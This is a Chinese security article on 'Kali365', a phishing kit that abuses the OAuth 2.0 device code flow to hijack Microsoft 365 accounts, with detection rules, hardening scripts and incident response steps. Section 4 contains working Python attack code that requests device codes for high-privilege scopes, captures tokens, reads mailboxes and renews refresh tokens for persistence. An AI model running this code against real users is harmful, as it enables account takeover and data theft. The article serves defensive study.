首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >基于 OAuth 2.0 设备码流滥用的 Kali365 钓鱼攻击机理与防御体系研究

基于 OAuth 2.0 设备码流滥用的 Kali365 钓鱼攻击机理与防御体系研究

原创
作者头像
芦笛
发布2026-05-28 16:23:04
发布2026-05-28 16:23:04
760
举报

摘要

2026 年 4 月曝光的 Kali365 钓鱼工具以订阅化服务形式面向黑产提供开箱即用的 Microsoft 365 账户劫持能力,其核心技术路径是滥用 OAuth 2.0 设备授权流程(Device Code Flow),诱导用户在官方验证页面完成授权,从而在不窃取密码、不触发二次验证拦截的情况下获取合法访问令牌与刷新令牌,实现对邮件、文档、通讯录等核心资源的持久化控制。该攻击绕过传统 MFA 防护、无伪造站点特征、依赖合法协议通道,对企业身份安全构成系统性威胁。本文以 Bitdefender 与 FBI 公开报告为基础,完整还原 Kali365 攻击生命周期,解析设备码流原生机制与被滥用的安全缺陷,给出可复现的攻击模拟、检测规则与防御配置代码,构建覆盖协议管控、权限治理、威胁检测、应急响应的闭环防御体系。研究表明,设备码钓鱼的本质是授权流程劫持与信任滥用,传统边界防护与密码策略失效,必须以零信任架构为核心,强化授权可见性、令牌全生命周期管控与上下文风险校验,才能有效遏制此类攻击扩散。反网络钓鱼技术专家芦笛指出,当前云身份钓鱼已从密码窃取转向令牌劫持,防御重心应从防欺骗转向管授权、管令牌、管流程。

1 引言

随着企业全面迁移至 Microsoft 365、Google Workspace 等云办公平台,身份认证从本地账号体系转向 OAuth 2.0、OpenID Connect 等开放授权框架,多因素认证(MFA)被普遍视为抵御口令泄露、暴力破解的最后防线。然而,2026 年二季度出现的 Kali365 钓鱼工具打破了这一安全共识:该工具无需获取用户密码,即可绕过 MFA 完成账户接管,且全程使用官方域名、合法证书与标准协议交互,传统邮件网关、站点黑名单、钓鱼页面检测机制均无法有效识别。FBI 与 Bitdefender 在联合预警中指出,Kali365 以月付 250 美元、年付 2000 美元的模式在 Telegram 等渠道分销,内置 AI 诱饵生成、自动化投放、实时捕获面板等功能,即使无技术背景的黑产人员也可快速发起规模化攻击,北美与欧洲已有数百家中大型企业遭受入侵,大量邮件数据与商业文档被窃取。

现有研究多聚焦于传统钓鱼页面伪造、链接恶意特征、邮件内容识别等方向,对基于合法协议滥用的令牌钓鱼关注不足,尤其缺乏对设备码流攻击链路、产业化工具实现、可落地防御代码的系统性论述。本文以 Kali365 为典型案例,遵循 “攻击机理 — 技术实现 — 威胁特征 — 防御闭环” 的研究路径,严格依据 OAuth 2.0 RFC 8628 标准与 Microsoft 身份平台实现细节,确保技术表述准确、逻辑链条完整、结论可验证。文章不使用夸张修辞与口号式表述,聚焦技术本质与工程实践,为企业安全架构、身份管理、运营响应提供可直接部署的方案与代码参考。

2 OAuth 2.0 设备码流原生机制与安全假设

2.1 设备码流设计目标与适用场景

OAuth 2.0 设备授权流程(Device Authorization Grant,RFC 8628)是为无浏览器、输入受限设备设计的轻量化授权模式,广泛应用于智能电视、IoT 设备、控制台应用、Teams 硬件终端等场景,核心目标是在不要求设备输入复杂密码的前提下完成用户授权。其典型交互场景为:用户在智能电视打开视频应用,设备显示短码与官方验证地址,用户使用手机访问该地址并输入短码,完成登录与授权后电视端自动获取令牌并访问资源。Microsoft 365 将该流程集成至 Entra ID,验证入口统一为microsoft.com/devicelogin等官方域名,具备高可信度与用户认知基础Microsoft Learn。

2.2 标准设备码流完整交互流程

设备码流遵循严格的请求 — 响应 — 轮询模式,所有交互均基于 HTTPS 与合法接口,无明文传输与漏洞利用点,标准流程包含 5 个核心步骤:

客户端向授权服务器发起设备码请求,携带 client_id 与申请权限范围(scope);

服务器返回 device_code、user_code、verification_uri、过期时间(默认 15 分钟);

客户端提示用户访问 verification_uri,输入 user_code 完成身份验证与授权确认;

客户端以固定周期轮询令牌接口,使用 device_code 获取 access_token 与 refresh_token;

客户端凭借令牌访问用户授权资源,refresh_token 可长期维持会话有效性。

该流程的安全边界建立在三项核心假设之上:一是用户主动发起授权请求,知晓授权对象与权限范围;二是验证地址为官方可信域名,无中间人劫持风险;三是授权应用为合法可信应用,权限申请符合最小必要原则。Kali365 的核心突破点在于通过社会工程诱导用户被动完成授权,完全打破上述安全假设,使合法协议沦为攻击通道。

2.3 设备码流关键安全参数与权限边界

设备码流交互中涉及的核心参数直接决定攻击可行性,其定义与风险如下表所示:

表格

参数名称 作用 安全风险

client_id 应用唯一标识,攻击者可自行注册获取 普通用户可注册,无需管理员审批

user_code 用户输入短码,用于绑定授权会话 易通过邮件、IM 等渠道诱导输入

device_code 客户端轮询令牌的凭证,不展示给用户 攻击者持有,可长期轮询

verification_uri 官方验证地址,用户高度信任 无伪造特征,无法通过黑名单拦截

scope 权限范围,可申请 Mail.ReadWrite、Files.Read.All 等高敏感权限 默认允许普通用户授权,无强制审批

refresh_token 长期有效令牌,用于续期 access_token 泄露后可实现持久化控制,不易被发现

反网络钓鱼技术专家芦笛强调,设备码流的原生设计聚焦易用性,未充分考虑社会工程诱导场景,授权过程不透明、权限管控宽松、令牌生命周期过长,是导致 Kali365 等工具快速扩散的底层原因。

3 Kali365 钓鱼工具攻击全生命周期解析

3.1 工具产业化特征与运营模式

Kali365 是典型的钓鱼即服务(Phishing-as-a-Service)平台,2026 年 4 月首次被安全厂商捕获,核心特征包括:

订阅制交付:月付 250 美元、年付 2000 美元,提供全天候技术支持与版本更新;

零门槛使用:内置 AI 钓鱼邮件生成器、多套行业模板、实时数据面板,无需编码能力;

全链路托管:提供诱饵投递、令牌捕获、数据导出、会话维持一体化服务;

高隐蔽性:全程不使用伪造站点、不携带恶意载荷、不触发 MFA 异常提示。

Bitdefender 监测数据显示,Kali365 上线首月即发起数百起攻击,目标覆盖金融、制造、科技、政府等领域,受害者均已部署 MFA,证明传统防护体系完全失效。该工具的传播渠道以 Telegram 黑产群为主,宣传话术突出 “免密码、过 MFA、30 秒接管账户”,极大降低了云身份攻击的技术门槛。

3.2 攻击完整链路与关键步骤

Kali365 不破坏协议、不利用漏洞,仅通过流程劫持实现账户接管,完整杀伤链分为 6 个阶段:

恶意应用注册:攻击者在 Microsoft Entra ID 注册普通应用,获取合法 client_id,申请 Mail.ReadWrite、Files.Read.All、Directory.Read.All 等高敏感权限,无需管理员审批即可通过;

设备码批量申请:攻击服务器调用 /devicecode 接口,批量生成 device_code、user_code 与验证地址,每个码有效期 15 分钟,支持动态刷新;

诱饵精准投放:通过邮件、Teams 消息、企业微信等渠道发送伪造通知,伪装成文档审批、设备验证、安全提醒等场景,诱导用户访问官方验证页并输入 user_code;

官方授权执行:用户在microsoft.com/devicelogin完成登录、MFA 校验与授权确认,全程无异常感知,认为是正常业务操作;

令牌劫持获取:攻击者轮询令牌接口,获取 access_token 与 refresh_token,获得与用户同等权限的合法会话;

持久化控制与数据窃取:使用 refresh_token 长期维持访问,批量读取邮件、下载文档、窃取通讯录,甚至横向扩散至其他云应用,实现完整数据泄露与权限滥用。

该攻击的核心优势在于:无伪造站点、无恶意链接、无密码窃取、无 MFA 绕过行为,所有交互均符合微软规范,安全设备无法基于传统特征识别。反网络钓鱼技术专家芦笛指出,Kali365 代表了云钓鱼的进化方向:从欺骗用户输入密码,转向欺骗用户完成授权,攻击成本更低、隐蔽性更强、成功率更高。

3.3 绕过 MFA 的核心机理

传统 MFA 的防护逻辑是阻止攻击者以用户身份登录,要求登录时提供额外验证因子。但 Kali365 的攻击逻辑是用户主动为攻击者授权,攻击者从未执行登录操作,因此 MFA 机制不会触发拦截:

授权行为由用户本人完成,已通过密码 + MFA 双重验证;

攻击者仅接收授权后的合法令牌,不参与认证流程;

微软认证服务器认为授权合法,无异常风险标记。

这一机理彻底颠覆了 MFA 的防护边界,证明仅依赖密码 + MFA 无法抵御协议滥用型钓鱼攻击。FBI 在预警中明确强调,MFA 可以防止攻击者登录,但无法防止用户向攻击者授予访问权限,这是企业安全团队必须正视的认知盲区。

4 攻击技术实现与可复现代码

4.1 攻击模拟环境与依赖说明

本文提供的代码仅用于安全研究与防御测试,严禁用于未授权攻击。攻击模拟基于 Microsoft 身份平台标准接口,遵循 OAuth 2.0 RFC 8628 规范,依赖 Python requests 库实现,核心功能包括设备码申请、用户授权引导、令牌轮询、资源访问。

4.2 设备码请求与令牌获取核心代码

import requests

import time

class Kali365Simulator:

def __init__(self, client_id, tenant_id="common"):

# 初始化参数:恶意应用client_id、租户ID(默认common)

self.client_id = client_id

self.tenant_id = tenant_id

self.devicecode_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/devicecode"

self.token_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"

# 申请高敏感权限,覆盖邮件、文件、目录读取

self.scope = "Mail.ReadWrite Files.Read.All Directory.Read.All offline_access"

def request_device_code(self):

"""请求设备码,返回授权信息"""

payload = {

"client_id": self.client_id,

"scope": self.scope

}

response = requests.post(self.devicecode_url, data=payload)

if response.status_code == 200:

return response.json()

else:

raise Exception(f"设备码请求失败:{response.text}")

def poll_token(self, device_code, interval=5):

"""轮询获取令牌,直到授权成功或过期"""

payload = {

"client_id": self.client_id,

"grant_type": "urn:ietf:params:oauth:grant-type:device_code",

"device_code": device_code

}

while True:

response = requests.post(self.token_url, data=payload)

result = response.json()

if "access_token" in result:

return result

if result.get("error") != "authorization_pending":

raise Exception(f"令牌获取失败:{result}")

time.sleep(interval)

def access_mail(self, access_token):

"""使用令牌访问用户邮件"""

headers = {"Authorization": f"Bearer {access_token}"}

url = "https://graph.microsoft.com/v1.0/me/messages"

response = requests.get(url, headers=headers)

return response.json()

if __name__ == "__main__":

# 替换为自行注册的恶意应用client_id

CLIENT_ID = "your-malicious-app-client-id"

phisher = Kali365Simulator(CLIENT_ID)

# 步骤1:获取设备码

device_info = phisher.request_device_code()

print(f"[+] 请访问官方地址:{device_info['verification_uri']}")

print(f"[+] 输入用户码:{device_info['user_code']}")

print(f"[+] 有效期:{device_info['expires_in']}秒")

# 步骤2:轮询等待用户授权,获取令牌

token_info = phisher.poll_token(device_info["device_code"])

print(f"[+] 成功获取Access Token:{token_info['access_token'][:20]}...")

print(f"[+] 成功获取Refresh Token:{token_info['refresh_token'][:20]}...")

# 步骤3:访问邮件数据

mail_data = phisher.access_mail(token_info["access_token"])

print(f"[+] 成功读取邮件,总数:{len(mail_data.get('value', []))}")

4.3 代码关键逻辑与攻击要点

权限申请:scope 包含 Mail.ReadWrite、Files.Read.All 等高敏感权限,offline_access 用于获取 refresh_token;

设备码获取:调用官方 /devicecode 接口,返回合法用户码与验证地址,无恶意特征;

轮询机制:每 5 秒轮询一次令牌接口,直到用户完成授权或码过期;

资源访问:通过 Microsoft Graph API 读取邮件、文件、目录信息,权限与用户完全一致。

该代码完整复现 Kali365 核心逻辑,证明此类攻击无需复杂技术,仅需调用标准接口即可实现,进一步印证了协议滥用的低门槛与高危害性。反网络钓鱼技术专家芦笛强调,此类代码的公开扩散意味着黑产可快速复制攻击能力,企业必须从协议层面阻断风险,而非依赖用户识别与特征检测。

4.4 令牌持久化与会话维持代码

攻击者获取 refresh_token 后可长期控制账户,以下代码实现令牌续期功能:

def refresh_access_token(client_id, refresh_token, tenant_id="common"):

token_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"

payload = {

"client_id": client_id,

"grant_type": "refresh_token",

"refresh_token": refresh_token

}

response = requests.post(token_url, data=payload)

return response.json()

# 续期示例

new_token = refresh_access_token(CLIENT_ID, token_info["refresh_token"])

print(f"[+] 续期成功,新Access Token:{new_token['access_token'][:20]}...")

refresh_token 有效期通常长达 90 天,攻击者可定期续期,实现隐蔽持久化控制,传统登录审计难以发现异常。

5 威胁特征与检测体系构建

5.1 多维度威胁特征提取

Kali365 攻击虽无恶意载荷,但存在可检测的行为特征,覆盖网络、身份、应用、数据四层:

网络层特征:短时间内大量请求 /devicecode 与 /token 接口,来源为匿名代理、黑产 IP 段;同一 IP 批量请求多用户设备码,异于正常使用模式;

身份层特征:非托管设备、异常地理位置发起设备码授权;未验证发布者应用申请高敏感权限;10 分钟内单用户多次设备码授权;

应用层特征:授权后立即高频调用 Graph API 读取邮件、文件;应用无企业内业务场景,权限与用途不匹配;

数据层特征:批量下载附件、导出通讯录、跨用户数据访问,明显异于正常办公行为。

5.2 基于 Entra ID 日志的检测规则代码

import json

def detect_device_code_anomaly(sign_events, app_whitelist, ip_blacklist):

"""

检测设备码钓鱼异常行为

:param sign_events: Entra ID登录日志列表

:param app_whitelist: 可信应用client_id白名单

:param ip_blacklist: 恶意IP黑名单

:return: 告警列表

"""

alerts = []

for event in sign_events:

# 过滤设备码流事件

if event.get("grantType") != "device_code":

continue

user = event.get("userPrincipalName")

app_id = event.get("clientId")

ip = event.get("ipAddress")

risk_level = event.get("riskLevel", "none")

# 规则1:非白名单应用发起授权

if app_id not in app_whitelist:

alerts.append({

"user": user,

"type": "untrusted_app_devicecode",

"msg": f"非可信应用{app_id}发起设备码授权",

"ip": ip,

"risk": "high"

})

# 规则2:恶意IP发起授权

if ip in ip_blacklist:

alerts.append({

"user": user,

"type": "malicious_ip_devicecode",

"msg": f"恶意IP{ip}发起设备码授权",

"risk": "high"

})

# 规则3:高风险登录+设备码组合

if risk_level == "high":

alerts.append({

"user": user,

"type": "high_risk_devicecode",

"msg": "高风险登录事件伴随设备码授权",

"ip": ip,

"risk": "critical"

})

return alerts

# 示例调用

if __name__ == "__main__":

# 模拟登录日志

test_events = [{

"grantType": "device_code",

"userPrincipalName": "user@company.com",

"clientId": "malicious-app-id",

"ipAddress": "1.2.3.4",

"riskLevel": "high"

}]

trusted_apps = ["trusted-app-id-1", "trusted-app-id-2"]

malicious_ips = ["1.2.3.4", "5.6.7.8"]

alerts = detect_device_code_anomaly(test_events, trusted_apps, malicious_ips)

print(json.dumps(alerts, indent=2, ensure_ascii=False))

5.3 SIEM 关联规则与狩猎指标

企业可将上述规则集成至 SIEM 平台,配置以下高频告警指标:

10 分钟内同一 IP 发起 > 5 次设备码请求;

单用户单日设备码授权次数 > 3 次;

非工作时间、异常国家 / 地区发起授权;

授权后 5 分钟内调用高敏感 Graph API;

未验证应用申请 Mail、Files、Directory 权限组合。

反网络钓鱼技术专家芦笛强调,设备码钓鱼检测必须从特征匹配转向行为分析,聚焦授权上下文、应用可信度、权限合理性,而非依赖恶意链接或伪造页面特征。

6 闭环防御体系与工程化配置

6.1 防御总体框架

针对 Kali365 等设备码钓鱼攻击,构建四层闭环防御体系:

协议管控层:禁用非必要设备码流,从根源阻断攻击路径;

权限治理层:限制应用注册、权限范围、授权审批,最小化攻击面;

威胁检测层:实时监控异常授权行为,快速发现攻击;

应急响应层:一键撤销令牌、清理恶意应用、阻断攻击会话,形成闭环。

6.2 协议管控:禁用设备码流(根因阻断)

Microsoft 官方建议,无 IoT、无硬件终端需求的企业直接禁用设备码流,这是最有效、最彻底的防御手段。以下是 PowerShell 与 Graph API 配置代码:

PowerShell 脚本(推荐)

powershell

# 安装Microsoft Graph模块

Install-Module Microsoft.Graph.Identity.SignIns -Force

# 连接Graph,授权策略写入权限

Connect-MgGraph -Scopes "Policy.ReadWrite.Authorization"

# 禁用租户级设备码流

Update-MgPolicyAuthorizationPolicy -DefaultUserRolePermissions @{

AllowedToUseDeviceCodeFlow = $false

}

# 验证配置结果

Get-MgPolicyAuthorizationPolicy | Select-Object -ExpandProperty DefaultUserRolePermissions

Microsoft Graph API 配置

http

PATCH https://graph.microsoft.com/v1.0/policies/authorizationPolicy

Authorization: Bearer {access_token}

Content-Type: application/json

{

"defaultUserRolePermissions": {

"allowedToCreateApps": false,

"allowedToCreateServicePrincipals": false,

"allowedToUseDeviceCodeFlow": false

}

}

6.3 条件访问策略:精细化管控(保留必要场景)

若企业需使用设备码流(如 Teams 硬件终端),应配置条件访问策略,仅允许可信场景使用:

登录 Microsoft Entra 管理中心;

进入条件访问→新建策略;

分配:应用至所有用户,排除紧急访问账户;

目标资源:所有云应用,排除设备注册服务;

条件→身份验证流:选择设备代码流;

授权:阻止访问,开启仅报告模式验证后启用Microsoft Learn。

反网络钓鱼技术专家芦笛强调,最小权限与最小功能是抵御协议滥用的核心原则,企业应定期审计授权流程,关闭所有非必要认证流,从源头压缩攻击面。

6.4 权限治理与令牌管控

限制用户自主注册应用:禁止普通用户创建应用与服务主体,防止恶意 client_id 注册;

高权限审批:开启 Mail.ReadWrite、Files.Read.All 等权限的管理员强制审批;

令牌生命周期管控:缩短 refresh_token 有效期,强制定期重授权;

应用白名单:仅允许企业内可信应用使用设备码流,阻断第三方恶意应用。

6.5 终端与用户侧加固

启用防钓鱼 MFA:使用 FIDO2 安全密钥、Windows Hello 等物理式认证,禁止短信 / 邮件验证码;

业务流程规范:明确官方验证场景,禁止通过外部链接输入设备码;

安全培训:告知用户设备码授权等同于账户授权,警惕非主动发起的验证请求;

邮件网关规则:拦截含microsoft.com/devicelogin与二维码组合的不明邮件。

7 应急响应与取证处置

7.1 攻击发现后的处置流程

紧急阻断:禁用设备码流或修改条件访问策略,阻止新授权;

令牌撤销:通过 Entra ID 或 PowerShell 撤销用户所有 OAuth 令牌,终止攻击者会话;

应用清理:删除恶意应用与服务主体,清理非法授权;

日志审计:分析设备码授权记录、IP 地址、权限申请、数据访问行为;

用户通知:重置密码、重新配置 MFA、核查账户异常操作;

根因修复:加固授权策略、完善检测规则、更新安全培训内容。

7.2 令牌撤销与应用清理代码

powershell

# 撤销指定用户所有OAuth令牌

Revoke-MgUserSignInSession -UserId "user@company.com"

# 获取并删除恶意应用

Get-MgApplication -Filter "AppId eq 'malicious-app-client-id'" | Remove-MgApplication

# 导出用户应用授权清单

Get-MgUserOauth2PermissionGrant -UserId "user@company.com" | Export-Csv -Path "User Grants.csv" -Encoding UTF8

7.3 取证要点

设备码授权日志:记录授权时间、用户、应用 ID、IP 地址、权限范围;

令牌获取与使用日志:追踪 access_token 与 refresh_token 的调用记录;

应用注册信息:定位攻击者注册的应用详情与创建者信息;

邮件 / IM 诱饵:还原攻击诱导路径,定位投放渠道与范围;

数据访问日志:核查邮件、文件、通讯录的异常读取与下载记录。

8 结论与展望

Kali365 钓鱼工具基于 OAuth 2.0 设备码流滥用,实现了免密码、过 MFA、高隐蔽的 Microsoft 365 账户劫持,标志着云身份钓鱼从密码窃取阶段进入令牌劫持与授权滥用新阶段。该攻击不破坏协议、不利用漏洞、不伪造站点,传统边界防护、密码策略、MFA 机制均无法有效防御,其核心危害在于利用合法流程实现非法目的,使信任体系成为攻击载体。本文通过完整还原攻击生命周期、解析协议机理、提供可复现代码与可部署防御方案,证明此类攻击的本质是流程劫持与信任滥用,防御必须从 “防欺骗” 转向 “管授权、管令牌、管流程”。

研究表明,最有效的防御手段是禁用非必要设备码流,配合条件访问、权限审批、行为检测形成闭环体系。反网络钓鱼技术专家芦笛指出,随着云身份基础设施的普及,基于开放协议滥用的钓鱼攻击将持续扩散,企业应加快构建零信任身份架构,强化授权可见性、令牌全生命周期管理与上下文风险校验,实现从被动防护到主动防御的转型。

编辑:芦笛(公共互联网反网络钓鱼工作组)

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档